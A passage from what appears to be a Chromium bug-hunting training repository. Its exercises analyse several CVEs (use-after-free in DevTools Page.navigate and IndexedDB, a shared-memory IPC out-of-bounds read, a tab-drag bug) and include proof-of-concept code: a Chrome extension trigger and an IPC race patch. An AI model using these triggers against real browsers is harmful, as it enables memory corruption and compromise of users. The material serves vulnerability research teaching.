70 | If we add id to maxsize,then extra add 1,will overflow.Insert same id ,will free previous , then we can use the freed pointer ,cause UAF.
71 | ```c++
72 | namespace mojo {
73 |
74 | using ReceiverId = size_t;
75 |
76 | template
77 | struct ReceiverSetTraits;
78 | ```
79 | Where can cause UAF? the poc use cursor_impl pointer , cursor_impl_ptr->OnRemoveBinding
80 | ```c++
81 | mojo::PendingAssociatedRemote
82 | IndexedDBDispatcherHost::CreateCursorBinding(
83 | const url::Origin& origin,
84 | std::unique_ptr cursor) {
85 | DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
86 | auto cursor_impl = std::make_unique(std::move(cursor), origin,
87 | this, IDBTaskRunner());
88 | auto* cursor_impl_ptr = cursor_impl.get();
89 | mojo::PendingAssociatedRemote remote;
90 | mojo::ReceiverId receiver_id = cursor_receivers_.Add(
91 | std::move(cursor_impl), remote.InitWithNewEndpointAndPassReceiver());
92 | cursor_impl_ptr->OnRemoveBinding(
93 | base::BindOnce(&IndexedDBDispatcherHost::RemoveCursorBinding,
94 | weak_factory_.GetWeakPtr(), receiver_id));
95 | return remote;
96 | }
97 | ```
98 | **POC**
99 | ```html
100 |
101 |
147 |
148 | ```
149 |
150 |
151 |
152 | --------
153 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_5/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 5
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21202
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1188889
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | after fetch chromium
33 | ```sh
34 | git reset --hard b84b5d13d0d013ad4a8c90f1ba4cd8509f9885bf
35 | ```
36 |
37 |
38 |
39 | ### Related code
40 |
41 | content/browser/devtools/protocol/page_handler.cc
42 |
43 |
44 | tips: [`Page.navigate`](https://chromedevtools.github.io/devtools-protocol/tot/Page/#method-navigate)
45 |
46 |
47 | ### Do it
48 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
49 |
50 |
51 | ---------
52 |
53 |
54 | My answer
55 |
56 | This vulnerability does not seem to be exploitable, so we briefly end this part.
57 | >One of the methods available via the Chrome DevTools protocol is Page.navigate. That method allows the caller to navigate the target page to a specified URL.
58 | >
59 | >When an extension uses that method to navigate a crashed page to a restricted URL, the debugging session will be detached. However, that occurs in the middle of PageHandler::Navigate, resulting in the PageHandler object being deleted midway through the method.
60 |
61 | >The reason that the session is detached is that the URL being navigated to is restricted (and therefore can't be debugged by an extension).
62 | >
63 | >That results in the PageHandler object being deleted (along with the other domain handlers) once LoadURLWithParams has finished executing.
64 |
65 | ```c++
66 | void PageHandler::Navigate(const std::string& url,
67 | Maybe referrer,
68 | Maybe maybe_transition_type,
69 | Maybe frame_id,
70 | Maybe referrer_policy,
71 | std::unique_ptr callback) {
72 | GURL gurl(url);
73 | if (!gurl.is_valid()) {
74 | callback->sendFailure(
75 | Response::ServerError("Cannot navigate to invalid URL"));
76 | return;
77 | }
78 |
79 | if (!host_) {
80 | callback->sendFailure(Response::InternalError());
81 | return;
82 | }
83 |
84 | ui::PageTransition type;
85 | std::string transition_type =
86 | maybe_transition_type.fromMaybe(Page::TransitionTypeEnum::Typed);
87 | if (transition_type == Page::TransitionTypeEnum::Link)
88 | type = ui::PAGE_TRANSITION_LINK;
89 | else if (transition_type == Page::TransitionTypeEnum::Typed)
90 | type = ui::PAGE_TRANSITION_TYPED;
91 | else if (transition_type == Page::TransitionTypeEnum::Address_bar)
92 | type = ui::PAGE_TRANSITION_FROM_ADDRESS_BAR;
93 | else if (transition_type == Page::TransitionTypeEnum::Auto_bookmark)
94 | type = ui::PAGE_TRANSITION_AUTO_BOOKMARK;
95 | else if (transition_type == Page::TransitionTypeEnum::Auto_subframe)
96 | type = ui::PAGE_TRANSITION_AUTO_SUBFRAME;
97 | else if (transition_type == Page::TransitionTypeEnum::Manual_subframe)
98 | type = ui::PAGE_TRANSITION_MANUAL_SUBFRAME;
99 | else if (transition_type == Page::TransitionTypeEnum::Generated)
100 | type = ui::PAGE_TRANSITION_GENERATED;
101 | else if (transition_type == Page::TransitionTypeEnum::Auto_toplevel)
102 | type = ui::PAGE_TRANSITION_AUTO_TOPLEVEL;
103 | else if (transition_type == Page::TransitionTypeEnum::Form_submit)
104 | type = ui::PAGE_TRANSITION_FORM_SUBMIT;
105 | else if (transition_type == Page::TransitionTypeEnum::Reload)
106 | type = ui::PAGE_TRANSITION_RELOAD;
107 | else if (transition_type == Page::TransitionTypeEnum::Keyword)
108 | type = ui::PAGE_TRANSITION_KEYWORD;
109 | else if (transition_type == Page::TransitionTypeEnum::Keyword_generated)
110 | type = ui::PAGE_TRANSITION_KEYWORD_GENERATED;
111 | else
112 | type = ui::PAGE_TRANSITION_TYPED;
113 |
114 | std::string out_frame_id = frame_id.fromMaybe(
115 | host_->frame_tree_node()->devtools_frame_token().ToString());
116 | FrameTreeNode* frame_tree_node = FrameTreeNodeFromDevToolsFrameToken(
117 | host_->frame_tree_node(), out_frame_id);
118 |
119 | if (!frame_tree_node) {
120 | callback->sendFailure(
121 | Response::ServerError("No frame with given id found"));
122 | return;
123 | }
124 |
125 | NavigationController::LoadURLParams params(gurl);
126 | network::mojom::ReferrerPolicy policy =
127 | ParsePolicyFromString(referrer_policy.fromMaybe(""));
128 | params.referrer = Referrer(GURL(referrer.fromMaybe("")), policy);
129 | params.transition_type = type;
130 | params.frame_tree_node_id = frame_tree_node->frame_tree_node_id();
131 | frame_tree_node->navigator().controller().LoadURLWithParams(params); [1]
132 |
133 | if (frame_tree_node->navigation_request()) {
134 | navigate_callbacks_[frame_tree_node->navigation_request()
135 | ->devtools_navigation_token()] =
136 | std::move(callback);
137 | } else {
138 | callback->sendSuccess(out_frame_id, Maybe(),
139 | Maybe());
140 | }
141 | }
142 | ```
143 | And patch add check `weak_factory_` after `LoadURLWithParams`
144 |
145 | `base::WeakPtrFactory weak_factory_{this};`
146 |
147 | **Poc**
148 |
149 | This poc is in the form of a `extensions`, you can get guidence from [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1188889)
150 | ```js
151 | let tabUpdatedListener = null;
152 |
153 | chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {
154 | if (tabUpdatedListener) {
155 | tabUpdatedListener(tabId, changeInfo, tab);
156 | }
157 | });
158 |
159 | let debugEventListener = null;
160 |
161 | chrome.debugger.onEvent.addListener(function (source, method, params) {
162 | if (debugEventListener) {
163 | debugEventListener(source, method, params);
164 | }
165 | });
166 |
167 | startProcess();
168 |
169 | function startProcess() {
170 | let targetTab = null;
171 |
172 | chrome.tabs.create({url: "https://www.google.com/"}, function (tab) {
173 | targetTab = tab;
174 | });
175 |
176 | tabUpdatedListener = function (tabId, changeInfo, updatedTab) {
177 | if (targetTab
178 | && tabId === targetTab.id
179 | && changeInfo.status === "complete") {
180 | tabUpdatedListener = null;
181 |
182 | onTargetTabLoaded(targetTab);
183 | }
184 | };
185 | }
186 |
187 | function onTargetTabLoaded(tab) {
188 | chrome.debugger.attach({tabId: tab.id}, "1.3", function () {
189 | onDebuggerAttachedToTargetTab(tab);
190 | });
191 | }
192 |
193 | function onDebuggerAttachedToTargetTab(tab) {
194 | chrome.debugger.sendCommand({tabId: tab.id}, "Page.crash", {});
195 |
196 | debugEventListener = function (source, method, params) {
197 | if (method === "Inspector.targetCrashed") {
198 | debugEventListener = null;
199 |
200 | chrome.debugger.sendCommand({tabId: tab.id}, "Page.navigate",
201 | {url: "chrome://settings/"});
202 | }
203 | };
204 | }
205 | ```
206 |
207 |
208 | --------
209 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_6/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 6
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21198
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1184399
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | after fetch chromium
33 | ```sh
34 | git reset --hard 983a7365ebe7fa934fb4660409105bae294d70a5
35 | ```
36 |
37 |
38 |
39 | ### Related code
40 | ```c++
41 | // Typemapped such that arbitrarily large IPC::Message objects can be sent and
42 | // received with minimal copying.
43 | struct Message {
44 | mojo_base.mojom.BigBuffer buffer;
45 | array? handles;
46 | };
47 | ========================================
48 | union BigBuffer {
49 | array bytes;
50 | BigBufferSharedMemoryRegion shared_memory;
51 | bool invalid_buffer;
52 | };
53 | ```
54 | ipc/ipc_message_pipe_reader.cc
55 | base/pickle.cc
56 |
57 |
58 | tips: You just need to think how `shared_memory` can be used to breaking mojo.
59 |
60 | ### Do it
61 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
62 |
63 |
64 | ---------
65 |
66 |
67 | My answer
68 |
69 | ```c++
70 | // Typemapped such that arbitrarily large IPC::Message objects can be sent and
71 | // received with minimal copying.
72 | struct Message {
73 | mojo_base.mojom.BigBuffer buffer; [1]
74 | array? handles;
75 | };
76 | =======================================
77 | union BigBuffer {
78 | array bytes;
79 | BigBufferSharedMemoryRegion shared_memory; [2]
80 | bool invalid_buffer;
81 | };
82 | ```
83 | [1] | [2] `BigBuffer` is backed by an `array` of bytes when the message is **small**; but it's backed by `shared memory` if the message is **large**. This means that a malicious renderer can send legacy `IPC messages` backed by `shared memory`.
84 |
85 | ```c++
86 | void MessagePipeReader::Receive(MessageView message_view) {
87 | if (!message_view.size()) {
88 | delegate_->OnBrokenDataReceived();
89 | return;
90 | }
91 | Message message(message_view.data(), message_view.size()); [3]
92 | if (!message.IsValid()) {
93 | delegate_->OnBrokenDataReceived();
94 | return;
95 | }
96 | [ ... ]
97 | ```
98 | [3] `ipc::Message` inherits from `base::Pickle`
99 | ```c++
100 | class IPC_MESSAGE_SUPPORT_EXPORT Message : public base::Pickle {
101 | public:
102 | //[ ... ]
103 | // Initializes a message from a const block of data. The data is not copied;
104 | // instead the data is merely referenced by this message. Only const methods
105 | // should be used on the message when initialized this way.
106 | Message(const char* data, int data_len);
107 | =============================================
108 | Message::Message(const char* data, int data_len)
109 | : base::Pickle(data, data_len) { [4]
110 | Init();
111 | }
112 | ```
113 | The constructor of `Message` call `Pickle`'s constructor
114 | ```c++
115 | Pickle::Pickle(const char* data, size_t data_len)
116 | : header_(reinterpret_cast(const_cast(data))),
117 | header_size_(0),
118 | capacity_after_header_(kCapacityReadOnly),
119 | write_offset_(0) {
120 | if (data_len >= static_cast(sizeof(Header))) [5]
121 | header_size_ = data_len - header_->payload_size;
122 |
123 | if (header_size_ > static_cast(data_len))
124 | header_size_ = 0;
125 | [ ... ]
126 | ```
127 | [5] after check `payload_size` at this point, we can chenge `payload_size` in Pickle's header by the other side which have the access of `shared_memory`
128 |
129 | Since `base::Pickle` expects to find a `header` at the start of the region, by changing the length field in that header after the checks in the `Pickle` constructor
130 |
131 | ```c++
132 | PickleIterator::PickleIterator(const Pickle& pickle)
133 | : payload_(pickle.payload()),
134 | read_index_(0),
135 | end_index_(pickle.payload_size()) { [6]
136 | }
137 | ===================================================
138 | // This class provides facilities for basic binary value packing and unpacking.
139 | //
140 | // The Pickle's data has a header which contains the size of the Pickle's
141 | // payload. It can optionally support additional space in the header. That
142 | // space is controlled by the header_size parameter passed to the Pickle
143 | // constructor.
144 | //
145 | class BASE_EXPORT Pickle {
146 | public:
147 | //[ ... ]
148 | // The payload is the pickle data immediately following the header.
149 | size_t payload_size() const {
150 | return header_ ? header_->payload_size : 0; [7]
151 | }
152 | ```
153 |
154 | [6] | [7] `PickleIterator`'s `end_index_ == header_->payload_size`, we can use it to oob read
155 |
156 | ```c++
157 | // PickleIterator reads data from a Pickle. The Pickle object must remain valid
158 | // while the PickleIterator object is in use.
159 | class BASE_EXPORT PickleIterator {
160 | public:
161 | PickleIterator() : payload_(nullptr), read_index_(0), end_index_(0) {}
162 | explicit PickleIterator(const Pickle& pickle);
163 |
164 | // Methods for reading the payload of the Pickle. To read from the start of
165 | // the Pickle, create a PickleIterator from a Pickle. If successful, these
166 | // methods return true. Otherwise, false is returned to indicate that the
167 | // result could not be extracted. It is not possible to read from the iterator
168 | // after that.
169 | bool ReadBool(bool* result) WARN_UNUSED_RESULT;
170 | bool ReadInt(int* result) WARN_UNUSED_RESULT;
171 | bool ReadLong(long* result) WARN_UNUSED_RESULT;
172 | [ ... ]
173 | ```
174 | Set `PickleIterator.end_index_` to a huge num, we can get oob read by these Methods.
175 |
176 | **Poc**
177 |
178 | We can write code in source file
179 |
180 | The attached patch forces all legacy IPC messages sent by renderers to be sent as *shared memory*, and *creates a new thread* in each renderer that *flips the high bits of the payload_size* value for a short period after each message is sent; this has a "reasonable" chance of having valid values to pass through the checks, and then invalid values later on.
181 | ```diff
182 | diff --git a/ipc/ipc_message_pipe_reader.cc b/ipc/ipc_message_pipe_reader.cc
183 | index 6e7bf51b0e05..2d3b57e7a205 100644
184 | --- a/ipc/ipc_message_pipe_reader.cc
185 | +++ b/ipc/ipc_message_pipe_reader.cc
186 | @@ -6,10 +6,13 @@
187 |
188 | #include
189 |
190 | +#include
191 | #include
192 |
193 | #include "base/bind.h"
194 | #include "base/callback_helpers.h"
195 | +#include "base/command_line.h"
196 | +#include "base/debug/stack_trace.h"
197 | #include "base/location.h"
198 | #include "base/logging.h"
199 | #include "base/macros.h"
200 | @@ -18,6 +21,13 @@
201 | #include "ipc/ipc_channel_mojo.h"
202 | #include "mojo/public/cpp/bindings/message.h"
203 |
204 | +std::string GetProcessType() {
205 | + std::string type = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type");
206 | + if (type == "")
207 | + return "browser";
208 | + return type;
209 | +}
210 | +
211 | namespace IPC {
212 | namespace internal {
213 |
214 | @@ -35,6 +45,10 @@ MessagePipeReader::MessagePipeReader(
215 | receiver_.set_disconnect_handler(
216 | base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this),
217 | MOJO_RESULT_FAILED_PRECONDITION));
218 | + if (GetProcessType() == "renderer") {
219 | + race_thread_ = std::make_unique("race_thread");
220 | + race_thread_->Start();
221 | + }
222 | }
223 |
224 | MessagePipeReader::~MessagePipeReader() {
225 | @@ -49,6 +63,17 @@ void MessagePipeReader::Close() {
226 | receiver_.reset();
227 | }
228 |
229 | +static void race_ipc_message(mojo::ScopedSharedBufferHandle shm_handle) {
230 | + auto mapping = shm_handle->Map(0x100);
231 | + fprintf(stderr, "racing\n");
232 | + volatile uint32_t* ptr = (volatile uint32_t*)mapping.get();
233 | + for (int i = 0; i < 0x80000; ++i) {
234 | + *ptr ^= 0x23230000;
235 | + }
236 | + *ptr ^= 0x23230000;
237 | + fprintf(stderr, "done racing\n");
238 | +}
239 | +
240 | bool MessagePipeReader::Send(std::unique_ptr message) {
241 | CHECK(message->IsValid());
242 | TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Send",
243 | @@ -62,9 +87,27 @@ bool MessagePipeReader::Send(std::unique_ptr message) {
244 | if (!sender_)
245 | return false;
246 |
247 | - sender_->Receive(MessageView(*message, std::move(handles)));
248 | - DVLOG(4) << "Send " << message->type() << ": " << message->size();
249 | - return true;
250 | + if (GetProcessType() == "renderer") {
251 | + auto shm_handle = mojo::SharedBufferHandle::Create(message->size() > 0x1000 ? message->size() : 0x1000);
252 | + auto shm_handle_copy = shm_handle->Clone(mojo::SharedBufferHandle::AccessMode::READ_WRITE);
253 | +
254 | + mojo_base::internal::BigBufferSharedMemoryRegion shm_region(std::move(shm_handle), message->size());
255 | + memcpy(shm_region.memory(), message->data(), message->size());
256 | + mojo_base::BigBufferView big_buffer_view;
257 | + big_buffer_view.SetSharedMemory(std::move(shm_region));
258 | +
259 | + race_thread_->task_runner()->PostTask(FROM_HERE,
260 | + base::BindOnce(race_ipc_message, std::move(shm_handle_copy)));
261 | +
262 | + sender_->Receive(MessageView(std::move(big_buffer_view), std::move(handles)));
263 | +
264 | + DVLOG(4) << "Send " << message->type() << ": " << message->size();
265 | + return true;
266 | + } else {
267 | + sender_->Receive(MessageView(*message, std::move(handles)));
268 | + DVLOG(4) << "Send " << message->type() << ": " << message->size();
269 | + return true;
270 | + }
271 | }
272 |
273 | void MessagePipeReader::GetRemoteInterface(
274 | diff --git a/ipc/ipc_message_pipe_reader.h b/ipc/ipc_message_pipe_reader.h
275 | index b7f73d2a9aee..6c26987dadcd 100644
276 | --- a/ipc/ipc_message_pipe_reader.h
277 | +++ b/ipc/ipc_message_pipe_reader.h
278 | @@ -15,6 +15,7 @@
279 | #include "base/component_export.h"
280 | #include "base/macros.h"
281 | #include "base/process/process_handle.h"
282 | +#include "base/threading/thread.h"
283 | #include "base/threading/thread_checker.h"
284 | #include "ipc/ipc.mojom.h"
285 | #include "ipc/ipc_message.h"
286 | @@ -106,6 +107,9 @@ class COMPONENT_EXPORT(IPC) MessagePipeReader : public mojom::Channel {
287 | Delegate* delegate_;
288 | mojo::AssociatedRemote sender_;
289 | mojo::AssociatedReceiver receiver_;
290 | +
291 | + std::unique_ptr race_thread_;
292 | +
293 | base::ThreadChecker thread_checker_;
294 |
295 | DISALLOW_COPY_AND_ASSIGN(MessagePipeReader);
296 |
297 | ```
298 |
299 |
300 |
301 |
302 | --------
303 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_6/ipc_message_pipe_reader.cc:
--------------------------------------------------------------------------------
1 | // Copyright 2014 The Chromium Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style license that can be
3 | // found in the LICENSE file.
4 |
5 | #include "ipc/ipc_message_pipe_reader.h"
6 |
7 | #include
8 |
9 | #include
10 |
11 | #include "base/bind.h"
12 | #include "base/callback_helpers.h"
13 | #include "base/location.h"
14 | #include "base/logging.h"
15 | #include "base/macros.h"
16 | #include "base/single_thread_task_runner.h"
17 | #include "base/threading/thread_task_runner_handle.h"
18 | #include "ipc/ipc_channel_mojo.h"
19 | #include "mojo/public/cpp/bindings/message.h"
20 |
21 | namespace IPC {
22 | namespace internal {
23 |
24 | MessagePipeReader::MessagePipeReader(
25 | mojo::MessagePipeHandle pipe,
26 | mojo::AssociatedRemote sender,
27 | mojo::PendingAssociatedReceiver receiver,
28 | MessagePipeReader::Delegate* delegate)
29 | : delegate_(delegate),
30 | sender_(std::move(sender)),
31 | receiver_(this, std::move(receiver)) {
32 | sender_.set_disconnect_handler(
33 | base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this),
34 | MOJO_RESULT_FAILED_PRECONDITION));
35 | receiver_.set_disconnect_handler(
36 | base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this),
37 | MOJO_RESULT_FAILED_PRECONDITION));
38 | }
39 |
40 | MessagePipeReader::~MessagePipeReader() {
41 | DCHECK(thread_checker_.CalledOnValidThread());
42 | // The pipe should be closed before deletion.
43 | }
44 |
45 | void MessagePipeReader::Close() {
46 | DCHECK(thread_checker_.CalledOnValidThread());
47 | sender_.reset();
48 | if (receiver_.is_bound())
49 | receiver_.reset();
50 | }
51 |
52 | bool MessagePipeReader::Send(std::unique_ptr message) {
53 | CHECK(message->IsValid());
54 | TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Send",
55 | message->flags(), TRACE_EVENT_FLAG_FLOW_OUT);
56 | base::Optional> handles;
57 | MojoResult result = MOJO_RESULT_OK;
58 | result = ChannelMojo::ReadFromMessageAttachmentSet(message.get(), &handles);
59 | if (result != MOJO_RESULT_OK)
60 | return false;
61 |
62 | if (!sender_)
63 | return false;
64 |
65 | sender_->Receive(MessageView(*message, std::move(handles)));
66 | DVLOG(4) << "Send " << message->type() << ": " << message->size();
67 | return true;
68 | }
69 |
70 | void MessagePipeReader::GetRemoteInterface(
71 | const std::string& name,
72 | mojo::ScopedInterfaceEndpointHandle handle) {
73 | if (!sender_.is_bound())
74 | return;
75 | sender_->GetAssociatedInterface(
76 | name, mojo::PendingAssociatedReceiver(
77 | std::move(handle)));
78 | }
79 |
80 | void MessagePipeReader::SetPeerPid(int32_t peer_pid) {
81 | delegate_->OnPeerPidReceived(peer_pid);
82 | }
83 |
84 | void MessagePipeReader::Receive(MessageView message_view) {
85 | if (!message_view.size()) {
86 | delegate_->OnBrokenDataReceived();
87 | return;
88 | }
89 | Message message(message_view.data(), message_view.size());
90 | if (!message.IsValid()) {
91 | delegate_->OnBrokenDataReceived();
92 | return;
93 | }
94 |
95 | DVLOG(4) << "Receive " << message.type() << ": " << message.size();
96 | MojoResult write_result = ChannelMojo::WriteToMessageAttachmentSet(
97 | message_view.TakeHandles(), &message);
98 | if (write_result != MOJO_RESULT_OK) {
99 | OnPipeError(write_result);
100 | return;
101 | }
102 |
103 | TRACE_EVENT_WITH_FLOW0("toplevel.flow", "MessagePipeReader::Receive",
104 | message.flags(), TRACE_EVENT_FLAG_FLOW_IN);
105 | delegate_->OnMessageReceived(message);
106 | }
107 |
108 | void MessagePipeReader::GetAssociatedInterface(
109 | const std::string& name,
110 | mojo::PendingAssociatedReceiver receiver) {
111 | DCHECK(thread_checker_.CalledOnValidThread());
112 | if (delegate_)
113 | delegate_->OnAssociatedInterfaceRequest(name, receiver.PassHandle());
114 | }
115 |
116 | void MessagePipeReader::OnPipeError(MojoResult error) {
117 | DCHECK(thread_checker_.CalledOnValidThread());
118 |
119 | Close();
120 |
121 | // NOTE: The delegate call below may delete |this|.
122 | if (delegate_)
123 | delegate_->OnPipeError();
124 | }
125 |
126 | } // namespace internal
127 | } // namespace IPC
128 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_7/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 7
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21155
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1175500
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | after fetch chromium
33 | ```sh
34 | git reset --hard c57ba0a5dacc78c7a1954c99d381b77ec771fba6
35 | ```
36 |
37 |
38 |
39 | ### Related code
40 |
41 | chrome/browser/ui/views/tabs/tab_drag_controller.cc
42 |
43 | About TabDragController:
44 | ```c++
45 | // TabDragController is responsible for managing the tab dragging session. When
46 | // the user presses the mouse on a tab a new TabDragController is created and
47 | // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough
48 | // TabDragController starts a drag session. The drag session is completed when
49 | // EndDrag() is invoked (or the TabDragController is destroyed).
50 | //
51 | // While dragging within a tab strip TabDragController sets the bounds of the
52 | // tabs (this is referred to as attached). When the user drags far enough such
53 | // that the tabs should be moved out of the tab strip a new Browser is created
54 | // and RunMoveLoop() is invoked on the Widget to drag the browser around. This
55 | // is the default on aura.
56 | ```
57 |
58 | ### Do it
59 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
60 |
61 |
62 | ---------
63 |
64 |
65 | My answer
66 |
67 |
68 | ```c++
69 | void TabDragController::RevertDragAt(size_t drag_index) {
70 | DCHECK_NE(current_state_, DragState::kNotStarted);
71 | DCHECK(source_context_);
72 |
73 | base::AutoReset setter(&is_mutating_, true);
74 | TabDragData* data = &(drag_data_[drag_index]);
75 | int target_index = data->source_model_index;
76 | if (attached_context_) {
77 | int index = attached_context_->GetTabStripModel()->GetIndexOfWebContents(
78 | data->contents);
79 | if (attached_context_ != source_context_) {
80 | // The Tab was inserted into another TabDragContext. We need to
81 | // put it back into the original one.
82 | std::unique_ptr detached_web_contents =
83 | attached_context_->GetTabStripModel()->DetachWebContentsAt(index);
84 | // TODO(beng): (Cleanup) seems like we should use Attach() for this
85 | // somehow.
86 | source_context_->GetTabStripModel()->InsertWebContentsAt(
87 | target_index, std::move(detached_web_contents),
88 | (data->pinned ? TabStripModel::ADD_PINNED : 0));
89 | } else {
90 | // The Tab was moved within the TabDragContext where the drag
91 | // was initiated. Move it back to the starting location.
92 |
93 | // If the target index is to the right, then other unreverted tabs are
94 | // occupying indices between this tab and the target index. Those
95 | // unreverted tabs will later be reverted to the right of the target
96 | // index, so we skip those indices.
97 | if (target_index > index) {
98 | for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) {
99 | if (drag_data_[i].contents)
100 | ++target_index;
101 | }
102 | }
103 | source_context_->GetTabStripModel()->MoveWebContentsAt( [1]
104 | index, target_index, false);
105 | }
106 | } else {
107 | // The Tab was detached from the TabDragContext where the drag
108 | // began, and has not been attached to any other TabDragContext.
109 | // We need to put it back into the source TabDragContext.
110 | source_context_->GetTabStripModel()->InsertWebContentsAt(
111 | target_index, std::move(data->owned_contents),
112 | (data->pinned ? TabStripModel::ADD_PINNED : 0));
113 | }
114 | source_context_->GetTabStripModel()->UpdateGroupForDragRevert(
115 | target_index,
116 | data->tab_group_data.has_value()
117 | ? base::Optional{data->tab_group_data.value()
118 | .group_id}
119 | : base::nullopt,
120 | data->tab_group_data.has_value()
121 | ? base::Optional<
122 | tab_groups::TabGroupVisualData>{data->tab_group_data.value()
123 | .group_visual_data}
124 | : base::nullopt);
125 | }
126 | ```
127 | [1] We can get info about these conditions judged by `if` from comment, `MoveWebContentsAt` do just like its name.
128 | ```c++
129 | int TabStripModel::MoveWebContentsAt(int index,
130 | int to_position,
131 | bool select_after_move) {
132 | ReentrancyCheck reentrancy_check(&reentrancy_guard_);
133 |
134 | CHECK(ContainsIndex(index));
135 |
136 | to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [2]
137 |
138 | if (index == to_position)
139 | return to_position; [3]
140 |
141 | MoveWebContentsAtImpl(index, to_position, select_after_move);
142 | EnsureGroupContiguity(to_position);
143 |
144 | return to_position;
145 | }
146 | ```
147 |
148 | [2] `to_position` is `target_index`, and it has been chenged, [3] return the `to_position` which has been chenged, we should assign it back to `target_index`. But in truth, we don't.
149 |
150 | ```c++
151 | if (target_index > index) {
152 | for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) {
153 | if (drag_data_[i].contents)
154 | ++target_index;
155 | }
156 | }
157 | source_context_->GetTabStripModel()->MoveWebContentsAt( // The return value should assign to target_index
158 | index, target_index, false);
159 | ```
160 |
161 | **Poc**
162 | ```html
163 |
164 |
165 |
171 | ```
172 |
173 |
174 |
175 | --------
176 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # bug-hunting-101
2 |
3 | ## What is this?
4 |
5 | This repository is to help new-comers (like ourselves) of binary bug hunting area to improve their skills.
6 |
7 | Currently, the gap between CTF and real world bug hunting can be quite huge.
8 | And this repository is our attempt to solve that problem by porting the real world bug hunting to small exercises.
9 |
10 | CVEs are selected out and setup in a certain scene, your goal is to repeat the process of finding such vulnerabilities out.
11 |
12 | ## Intro
13 |
14 | We have prepared 3 levels.
15 | Each level provides excersises with different difficulties:
16 |
17 | - Level 1: Details of the CVEs are provided to help you from "re-discovering" the original vulnerability. Reports like [this](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127) are provided.
18 | So this should be the easiest level.
19 | - Level 2: the details will be emitted. But to narrow down, information about which part of the project contains such vulnerability will be provided. For example, if the bug is about ANGEL (module of the Chromium project),
20 | the information about the file will be provided.
21 | Most of the time, the path to the patch file should help that.
22 | - Level 3: quite like level 2, but need PoC and exploit (optional)
23 |
24 |
25 | ## LEVEL 1
26 | | Exercise No. | CVEs | Target |
27 | | :----------------------------------------: | :----------------: | :----------: |
28 | | [LEVEl_1/exercise_1](./LEVEL_1/exercise_1) | **CVE-2020-6542** | Chrome WebGL |
29 | | [LEVEl_1/exercise_2](./LEVEL_1/exercise_2) | **CVE-2020-6463** | Chrome ANGLE |
30 | | [LEVEl_1/exercise_3](./LEVEL_1/exercise_3) | **CVE-2020-16005** | ANGLE |
31 | | [LEVEl_1/exercise_4](./LEVEL_1/exercise_4) | **CVE-2021-21204** | Chrome Blink |
32 | | [LEVEl_1/exercise_5](./LEVEL_1/exercise_5) | **CVE-2021-21203** | Blink |
33 | | [LEVEl_1/exercise_6](./LEVEL_1/exercise_6) | **CVE-2021-21188** | Blink |
34 | | [LEVEl_1/exercise_7](./LEVEL_1/exercise_7) | **CVE-2021-30565** | V8 GC |
35 |
36 |
37 |
38 | ## LEVEL 2
39 |
40 | | Exercise No. | CVEs | Target |
41 | | :--------------------------------------: | :----------------: | :-----------: |
42 | | [LEVEL_2/exercise_1](LEVEL_2/exercise_1) | **CVE-2021-21128** | Blink |
